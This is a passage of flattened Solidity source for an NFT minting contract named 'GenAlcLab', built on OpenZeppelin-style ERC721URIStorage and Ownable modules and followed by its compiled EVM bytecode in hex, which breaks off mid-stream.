tokenId) internal virtual { } } // File contracts/token/ERC721/extensions/ERC721URIStorage.sol pragma solidity ^0.8.0; /** * @dev ERC721 token with storage based token URI management. */ abstract contract ERC721URIStorage is ERC721 { using Strings for uint256; // Optional mapping for token URIs mapping (uint256 => string) private _tokenURIs; /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721URIStorage: URI query for nonexistent token"); string memory _tokenURI = _tokenURIs[tokenId]; string memory base = _baseURI(); // If there is no base URI, return the token URI. if (bytes(base).length == 0) { return _tokenURI; } // If both are set, concatenate the baseURI and tokenURI (via abi.encodePacked). if (bytes(_tokenURI).length > 0) { return string(abi.encodePacked(base, _tokenURI)); } return super.tokenURI(tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721URIStorage: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual override { super._burn(tokenId); if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } } } // File contracts/access/Ownable.sol pragma solidity ^0.8.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } pragma solidity ^0.8.0; contract GenAlcLab is ERC721URIStorage, Ownable{ event MintGenApe (address indexed minter, uint256 startWith, uint256 times); uint256 public totalGenApe; uint256 public totalCount = 3500; //bruhTotal uint256 public presaleMax = 688; uint256 public maxBatch = 10; // bruhBatch uint256 public price = 55000000000000000; // 0.055 eth string public baseURI; bool public started; bool public whiteListStart; mapping(address => uint256) whiteListMintCount; uint addressRegistryCount; constructor(string memory name_, string memory symbol_, string memory baseURI_) ERC721(name_, symbol_) { baseURI = baseURI_; } modifier canWhitelistMint() { require(whiteListStart, "Hang on boys, youll get in soon"); _; } modifier mintEnabled() { require(started, "not started"); _; } function totalSupply() public view virtual returns (uint256) { return totalGenApe; } function _baseURI() internal view virtual override returns (string memory){ return baseURI; } function setBaseURI(string memory _newURI) public onlyOwner { baseURI = _newURI; } function changePrice(uint256 _newPrice) public onlyOwner { price = _newPrice; } function setTokenURI(uint256 _tokenId, string memory _tokenURI) public onlyOwner { _setTokenURI(_tokenId, _tokenURI); } function setNormalStart(bool _start) public onlyOwner { started = _start; } function setWhiteListStart(bool _start) public onlyOwner { whiteListStart = _start; } function getWhitelistMintAmount(address _addr) public view virtual returns (uint256) { return whiteListMintCount[_addr]; } function mintGenApes(uint256 _times) payable public mintEnabled { require(_times >0 && _times <= maxBatch, "mint wrong number"); require(totalGenApe + _times <= totalCount, "too much"); require(msg.value == _times * price, "value error"); payable(owner()).transfer(msg.value); emit MintGenApe(_msgSender(), totalGenApe+1, _times); for(uint256 i=0; i< _times; i++){ _mint(_msgSender(), 1 + totalGenApe++); } } function adminMint(uint256 _times) payable public onlyOwner { require(_times >0 && _times <= maxBatch, "mint wrong number"); require(totalGenApe + _times <= totalCount, "too much"); require(msg.value == _times * price, "value error"); payable(owner()).transfer(msg.value); emit MintGenApe(_msgSender(), totalGenApe+1, _times); for(uint256 i=0; i< _times; i++){ _mint(_msgSender(), 1 + totalGenApe++); } } function whitelistMint(uint _times) payable public canWhitelistMint { if (whiteListMintCount[msg.sender]==0) { whiteListMintCount[msg.sender] = 4; } require(whiteListMintCount[msg.sender] - _times >= 1, "Over mint limit for address."); require(totalGenApe + _times <= presaleMax, "Mint amount will exceed total presale amount."); require(msg.value == _times * price, "Incorrect transaction value."); payable(owner()).transfer(msg.value); whiteListMintCount[_msgSender()] -= _times; emit MintGenApe(_msgSender(), totalGenApe+1, _times); for(uint256 i=0; i< _times; i++){ _mint(_msgSender(), 1 + totalGenApe++); } } function adminMintGiveaways(address _addr) public onlyOwner { require(totalGenApe + 1 <= totalCount, "Mint amount will exceed total collection amount."); emit MintGenApe(_addr, totalGenApe+1, 1); _mint(_addr, 1 + totalGenApe++); } }
0x6080604052600436106102045760003560e01c80636c0360eb11610118578063a035b1fe116100a0578063c1f261231161006f578063c1f2612314610725578063c87b56dd14610741578063e985e9c51461077e578063f2fde38b146107bb578063f34acb7c146107e457610204565b8063a035b1fe1461067f578063a22cb465146106aa578063a2b40d19146106d3578063b88d4fde146106fc57610204565b806388eae705116100e757806388eae705146105985780638da5cb5b146105c3578063917bb57f146105ee57806395d89b41146106175780639afdf2f31461064257610204565b80636c0360eb146104fd57806370a0823114610528578063715018a614610565578063868ff4a21461057c57610204565b80632cb35b901161019b57806355f804b31161016a57806355f804b3146104275780635aa74af4146104505780635f4f603d1461046c5780636352211e1461049557806367765b87146104d257610204565b80632cb35b901461037f57806334eafb11146103aa5780633c49a8a9146103d557806342842e0e146103fe57610204565b8063162094c4116101d7578063162094c4146102d757806318160ddd146103005780631f2698ab1461032b57806323b872dd1461035657610204565b806301ffc9a71461020957806306fdde0314610246578063081812fc14610271578063095ea7b3146102ae575b600080fd5b34801561021557600080fd5b50610230600480360381019061022b9190613196565b61080f565b60405161023d91906137dd565b60405180910390f35b34801561025257600080fd5b5061025b6108f1565b60405161026891906137f8565b60405180910390f35b34801561027d57600080fd5b5061029860048036038101906102939190613239565b610983565b6040516102a59190613776565b60405180910390f35b3480156102ba57600080fd5b506102d560048036038101906102d09190613129565b610a08565b005b3480156102e357600080fd5b506102fe60048036038101906102f99190613266565b610b20565b005b34801561030c57600080fd5b50610315610baa565b6040516103229190613b7a565b60405180910390f35b34801561033757600080fd5b50610340610bb4565b60405161034d91906137dd565b60405180910390f35b34801561036257600080fd5b5061037d60048036038101906103789190613013565b610bc7565b005b34801561038b57600080fd5b50610394610c27565b6040516103a19190613b7a565b60405180910390f35b3480156103b657600080fd5b506103bf610c2d565b6040516103cc9190613b7a565b60405180910390f35b3480156103e157600080fd5b506103fc60048036038101906103f79190612fa6565b610c33565b005b34801561040a57600080fd5b5061042560048036038101906104209190613013565b610d90565b005b34801561043357600080fd5b5061044e600480360381019061044991906131f0565b610db0565b005b61046a60048036038101906104659190613239565b610e46565b005b34801561047857600080fd5b50610493600480360381019061048e9190613169565b61108f565b005b3480156104a157600080fd5b506104bc60048036038101906104b79190613239565b611128565b6040516104c99190613776565b60405180910390f35b3480156104de57600080fd5b506104e76111da565b6040516104f49190613b7a565b60405180910390f35b34801561050957600080fd5b506105126111e0565b60405161051f91906137f8565b60405180910390f35b34801561053457600080fd5b5061054f600480360381019061054a9190612fa6565b61126e565b60405161055c9190613b7a565b60405180910390f35b34801561057157600080fd5b5061057a611326565b005b61059660048036038101906105919190613239565b611463565b005b3480156105a457600080fd5b506105ad6117d4565b6040516105ba91906137dd565b60405180910390f35b3480156105cf57600080fd5b506105d86117e7565b6040516105e59190613776565b60405180910390f35b3480156105fa57600080fd5b5061061560048036038101906106109190613169565b611811565b005b34801561062357600080fd5b5061062c6118aa565b60405161063991906137f8565b60405180910390f35b34801561064e57600080fd5b5061066960048036038101906106649190612fa6565b61193c565b6040516106769190613b7a565b60405180910390f35b34801561068b57600080fd5b50610694611985565b6040516106a19190613b7a565b60405180910390f35b3480156106b657600080fd5b506106d160048036038101906106cc91906130e9565b61198b565b005b3480156106df57600080fd5b506106fa60048036038101906106f59190613239565b611b0c565b005b34801561070857600080fd5b50610723600480360381019061071e9190613066565b611b92565b005b61073f600480360381019061073a9190613239565b611bf4565b005b34801561074d57600080fd5b5061076860048036038101906107639190613239565b611e6a565b60405161077591906137f8565b60405180910390f35b34801561078a57600080fd5b506107a560048036038101906107a09190612fd3565b611fbc565b6040516107b291906137dd565b60405180910390f35b3480156107c757600080fd5b506107e260048036038101906107dd9190612fa6565b612050565b005b3480156107f057600080fd5b506107f96121fc565b6040516108069190613b7a565b60405180910390f35b60007f80ac58cd000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614806108da57507f5b5e139f000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916145b806108ea57506108e982612202565b5b9050919050565b60606000805461090090613e8e565b80601f016020809104026020016040519081016040528092919081815260200182805461092c90613e8e565b80156109795780601f1061094e57610100808354040283529160200191610979565b820191906000526020600020905b81548152906001019060200180831161095c57829003601f168201915b5050505050905090565b600061098e8261226c565b6109cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109c490613a3a565b60405180910390fd5b6004600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b6000610a1382611128565b90508073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610a84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a7b90613aba565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16610aa36122d8565b73ffffffffffffffffffffffffffffffffffffffff161480610ad25750610ad181610acc6122d8565b611fbc565b5b610b11576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b089061395a565b60405180910390fd5b610b1b83836122e0565b505050565b610b286122d8565b73ffffffffffffffffffffffffffffffffffffffff16610b466117e7565b73ffffffffffffffffffffffffffffffffffffffff1614610b9c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9390613a5a565b60405180910390fd5b610ba68282612399565b5050565b6000600854905090565b600e60009054906101000a900460ff1681565b610bd8610bd26122d8565b8261240d565b610c17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0e90613ada565b60405180910390fd5b610c228383836124eb565b505050565b60085481565b60095481565b610c3b6122d8565b73ffffffffffffffffffffffffffffffffffffffff16610c596117e7565b73ffffffffffffffffffffffffffffffffffffffff1614610caf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ca690613a5a565b60405180910390fd5b6009546001600854610cc19190613cb1565b1115610d02576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf990613afa565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff167ffa8a9e4278757ba47911ada59318bd102b948844b554cef5d90f067db7ed021c6001600854610d499190613cb1565b6001604051610d59929190613b95565b60405180910390a2610d8d8160086000815480929190610d7890613ef1565b919050556001610d889190613cb1565b612747565b50565b610dab83838360405180602001604052806000815250611b92565b505050565b610db86122d8565b73ffffffffffffffffffffffffffffffffffffffff16610dd66117e7565b73ffffffffffffffffffffffffffffffffffffffff1614610e2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e2390613a5a565b60405180910390fd5b80600d9080519060200190610e42929190612dba565b5050565b600e60009054906101000a900460ff16610e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8c90613b1a565b60405180910390fd5b600081118015610ea75750600b548111155b610ee6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610edd9061389a565b60405180910390fd5b60095481600854610ef79190613cb1565b1115610f38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2f9061381a565b60405180910390fd5b600c5481610f469190613d38565b3414610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90613b5a565b60405180910390fd5b610f8f6117e7565b73ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015610fd4573d6000803e3d6000fd5b50610fdd6122d8565b73ffffffffffffffffffffffffffffffffffffffff167ffa8a9e4278757ba47911ada59318bd102b948844b554cef5d90f067db7ed021c60016008546110239190613cb1565b83604051611032929190613bbe565b60405180910390a260005b8181101561108b576110786110506122d8565b6008600081548092919061106390613ef1565b9190505560016110739190613cb1565b612747565b808061108390613ef1565b91505061103d565b5050565b6110976122d8565b73ffffffffffffffffffffffffffffffffffffffff166110b56117e7565b73ffffffffffffffffffffffffffffffffffffffff161461110b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161110290613a5a565b60405180910390fd5b80600e60016101000a81548160ff02191690831515021790555050565b6000806002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c89061399a565b60405180910390fd5b80915050919050565b600b5481565b600d80546111ed90613e8e565b80601f016020809104026020016040519081016040528092919081815260200182805461121990613e8e565b80156112665780601f1061123b57610100808354040283529160200191611266565b820191906000526020600020905b81548152906001019060200180831161124957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112df576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112d69061397a565b60405180910390fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61132e6122d8565b73ffffffffffffffffffffffffffffffffffffffff1661134c6117e7565b73ffffffffffffffffffffffffffffffffffffffff16146113a2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139990613a5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e60019054906101000a900460ff166114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990613b3a565b60405180910390fd5b6000600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415611540576004600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600181600f60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461158d9190613d92565b10156115ce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c5906138fa565b60405180910390fd5b600a54816008546115df9190613cb1565b1115611620576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116179061393a565b60405180910390fd5b600c548161162e9190613d38565b341461166f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611666906139da565b60405180910390fd5b6116776117e7565b73ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f193505050501580156116bc573d6000803e3d6000fd5b5080600f60006116ca6122d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546117139190613d92565b925050819055506117226122d8565b73ffffffffffffffffffffffffffffffffffffffff167ffa8a9e4278757ba47911ada59318bd102b948844b554cef5d90f067db7ed021c60016008546117689190613cb1565b83604051611777929190613bbe565b60405180910390a260005b818110156117d0576117bd6117956122d8565b600860008154809291906117a890613ef1565b9190505560016117b89190613cb1565b612747565b80806117c890613ef1565b915050611782565b5050565b600e60019054906101000a900460ff1681565b6000600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6118196122d8565b73ffffffffffffffffffffffffffffffffffffffff166118376117e7565b73ffffffffffffffffffffffffffffffffffffffff161461188d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188490613a5a565b60405180910390fd5b80600e60006101000a81548160ff02191690831515021790555050565b6060600180546118b990613e8e565b80601f01602080910402602001604051908101604052809291908181526020018280546118e590613e8e565b80156119325780601f1061190757610100808354040283529160200191611932565b820191906000526020600020905b81548152906001019060200180831161191557829003601f168201915b5050505050905090565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b6119936122d8565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a01576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119f8906138da565b60405180910390fd5b8060056000611a0e6122d8565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff16611abb6122d8565b73ffffffffffffffffffffffffffffffffffffffff167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051611b0091906137dd565b60405180910390a35050565b611b146122d8565b73ffffffffffffffffffffffffffffffffffffffff16611b326117e7565b73ffffffffffffffffffffffffffffffffffffffff1614611b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b7f90613a5a565b60405180910390fd5b80600c8190555050565b611ba3611b9d6122d8565b8361240d565b611be2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bd990613ada565b60405180910390fd5b611bee84848484612915565b50505050565b611bfc6122d8565b73ffffffffffffffffffffffffffffffffffffffff16611c1a6117e7565b73ffffffffffffffffffffffffffffffffffffffff1614611c70576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c6790613a5a565b60405180910390fd5b600081118015611c825750600b548111155b611cc1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cb89061389a565b60405180910390fd5b60095481600854611cd29190613cb1565b1115611d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d0a9061381a565b60405180910390fd5b600c5481611d219190613d38565b3414611d62576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d5990613b5a565b60405180910390fd5b611d6a6117e7565b73ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050158015611daf573d6000803e3d6000fd5b50611db86122d8565b73ffffffffffffffffffffffffffffffffffffffff167ffa8a9e4278757ba47911ada59318bd102b948844b554cef5d90f067db7ed021c6001600854611dfe9190613cb1565b83604051611e0d929190613bbe565b60405180910390a260005b81811015611e6657611e53611e2b6122d8565b60086000815480929190611e3e90613ef1565b919050556001611e4e9190613cb1565b612747565b8080611e5e90613ef1565b915050611e18565b5050565b6060611e758261226c565b611eb4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611eab90613a1a565b60405180910390fd5b6000600660008481526020019081526020016000208054611ed490613e8e565b80601f0160208091040260200160405190810160405280929190818152602001828054611f0090613e8e565b8015611f4d5780601f10611f2257610100808354040283529160200191611f4d565b820191906000526020600020905b815481529060010190602001808311611f3057829003601f168201915b505050505090506000611f5e612971565b9050600081511415611f74578192505050611fb7565b600082511115611fa9578082604051602001611f91929190613752565b60405160208183030381529060405292505050611fb7565b611fb284612a03565b925050505b919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b6120586122d8565b73ffffffffffffffffffffffffffffffffffffffff166120766117e7565b73ffffffffffffffffffffffffffffffffffffffff16146120cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c390613a5a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561213c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121339061385a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b60008073ffffffffffffffffffffffffffffffffffffffff166002600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614159050919050565b600033905090565b816004600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff1661235383611128565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b6123a28261226c565b6123e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123d8906139ba565b60405180910390fd5b80600660008481526020019081526020016000209080519060200190612408929190612dba565b505050565b60006124188261226c565b612457576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161244e9061391a565b60405180910390fd5b600061246283611128565b90508073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614806124d157508373ffffffffffffffffffffffffffffffffffffffff166124b984610983565b73ffffffffffffffffffffffffffffffffffffffff16145b806124e257506124e18185611fbc565b5b91505092915050565b8273ffffffffffffffffffffffffffffffffffffffff1661250b82611128565b73ffffffffffffffffffffffffffffffffffffffff1614612561576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161255890613a7a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156125d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125c8906138ba565b60405180910390fd5b6125dc838383612aaa565b6125e76000826122e0565b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546126379190613d92565b925050819055506001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461268e9190613cb1565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a4505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156127b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127ae906139fa565b60405180910390fd5b6127c08161226c565b15612800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f79061387a565b60405180910390fd5b61280c60008383612aaa565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461285c9190613cb1565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b6129208484846124eb565b61292c84848484612aaf565b61296b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129629061383a565b60405180910390fd5b50505050565b6060600d805461298090613e8e565b80601f01602080910402602001604051908101604052809291908181526020018280546129ac90613e8e565b80156129f95780601f106129ce576101008083540402835291602001916129f9565b820191906000526020600020905b8154815290600101906020018083116129dc57829003601f168201915b5050505050905090565b6060612a0e8261226c565b612a4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a4490613a9a565b60405180910390fd5b6000612a57612971565b90506000815111612a775760405180602001604052806000815250612aa2565b80612a8184612c46565b604051602001612a92929190613752565b6040516020818303038152906040525b915050919050565b505050565b6000612ad08473ffffffffffffffffffffffffffffffffffffffff16612da7565b15612c39578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612af96122d8565b8786866040518563ffffffff1660e01b8152600401612b1b9493929190613791565b602060405180830381600087803b158015612b3557600080fd5b505af1925050508015612b6657506040513d601f19601f82011682018060405250810190612b6391906131c3565b60015b612be9573d8060008114612b96576040519150601f19603f3d011682016040523d82523d6000602084013e612b9b565b606091505b50600081511415612be1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bd89061383a565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff191614915050612c3e565b600190505b949350505050565b60606000821415612c8e576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612da2565b600082905060005b60008214612cc0578080612ca990613ef1565b915050600a82612cb99190613d07565b9150612c96565b60008167ffffffffffffffff811115612cdc57612cdb614027565b5b6040519080825280601f01601f191660200182016040528015612d0e5781602001600182028036833780820191505090505b5090505b60008514612d9b57600182612d279190613d92565b9150600a85612d369190613f3a565b6030612d429190613cb1565b60f81b818381518110612d5857612d57613ff8565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612d949190613d07565b9450612d12565b8093505050505b919050565b600080823b905060008111915050919050565b828054612dc690613e8e565b90600052602060002090601f016020900481019282612de85760008555612e2f565b82601f10612e0157805160ff1916838001178555612e2f565b82800160010185558215612e2f579182015b82811115612e2e578251825591602001919060010190612e13565b5b509050612e3c9190612e40565b5090565b5b80821115612e59576000816000905550600101612e41565b5090565b6000612e70612e6b84613c0c565b613be7565b905082815260208101848484011115612e8c57612e8b61405b565b5b612e97848285613e4c565b509392505050565b6000612eb2612ead84613c3d565b613be7565b905082815260208101848484011115612ece57612ecd61405b565b5b612ed9848285613e4c565b509392505050565b600081359050612ef08161472e565b92915050565b600081359050612f0581614745565b92915050565b600081359050612f1a8161475c565b92915050565b600081519050612f2f8161475c565b92915050565b600082601f830112612f4a57612f49614056565b5b8135612f5a848260208601612e5d565b91505092915050565b600082601f830112612f7857612f77614056565b5b8135612f88848260208601612e9f565b91505092915050565b600081359050612fa081614773565b92915050565b600060208284031215612fbc57612fbb614065565b5b6000612fca84828501612ee1565b91505092915050565b60008060408385031215612fea57612fe9614065565b5b6000612ff885828601612ee1565b925050602061300985828601612ee1565b9150509250929050565b60008060006060848603121561302c5761302b614065565b5b600061303a86828701612ee1565b935050602061304b86828701612ee1565b925050604061305c86828701612f91565b9150509250925092565b600080600080608085870312156130805761307f614065565b5b600061308e87828801612ee1565b945050602061309f87828801612ee1565b93505060406130b087828801612f91565b925050606085013567ffffffffffffffff8111156130d1576130d0614060565b5b6130dd87828801612f35565b91505092959194509250565b60008060408385031215613100576130ff614065565b5b600061310e85828601612ee1565b925050602061311f85828601612ef6565b9150509250929050565b600080604083850312156131405761313f614065565b5b600061314e85828601612ee1565b925050602061315f85828601612f91565b9150509250929050565b60006020828403121561317f5761317e614065565b5b600061318d84828501612ef6565b91505092915050565b6000602082840312156131ac576131ab614065565b5b60006131ba84828501612f0b565b91505092915050565b6000602082840312156131d9576131d8614065565b5b60006131e784828501612f20565b91505092915050565b60006020828403121561320657613205614065565b5b600082013567ffffffffffffffff81111561322457613223614060565b5b61323084828501612f63565b91505092915050565b60006020828403121561324f5761324e614065565b5b600061325d84828501612f91565b91505092915050565b6000806040838503121561327d5761327c614065565b5b600061328b85828601612f91565b925050602083013567ffffffffffffffff8111156132ac576132ab614060565b5b6132b885828601612f63565b9150509250929050565b6132cb81613dc6565b82525050565b6132da81613dd8565b82525050565b60006132eb82613c6e565b6132f58185613c84565b9350613305818560208601613e5b565b61330e8161406a565b840191505092915050565b61332281613e3a565b82525050565b600061333382613c79565b61333d8185613c95565b935061334d818560208601613e5b565b6133568161406a565b840191505092915050565b600061336c82613c79565b6133768185613ca6565b9350613386818560208601613e5b565b80840191505092915050565b600061339f600883613c95565b91506133aa8261407b565b602082019050919050565b60006133c2603283613c95565b91506133cd826140a4565b604082019050919050565b60006133e5602683613c95565b91506133f0826140f3565b604082019050919050565b6000613408601c83613c95565b915061341382614142565b602082019050919050565b600061342b601183613c95565b91506134368261416b565b602082019050919050565b600061344e602483613c95565b915061345982614194565b604082019050919050565b6000613471601983613c95565b915061347c826141e3565b602082019050919050565b6000613494601c83613c95565b915061349f8261420c565b602082019050919050565b60006134b7602c83613c95565b91506134c282614235565b604082019050919050565b60006134da602d83613c95565b91506134e582614284565b604082019050919050565b60006134fd603883613c95565b9150613508826142d3565b604082019050919050565b6000613520602a83613c95565b915061352b82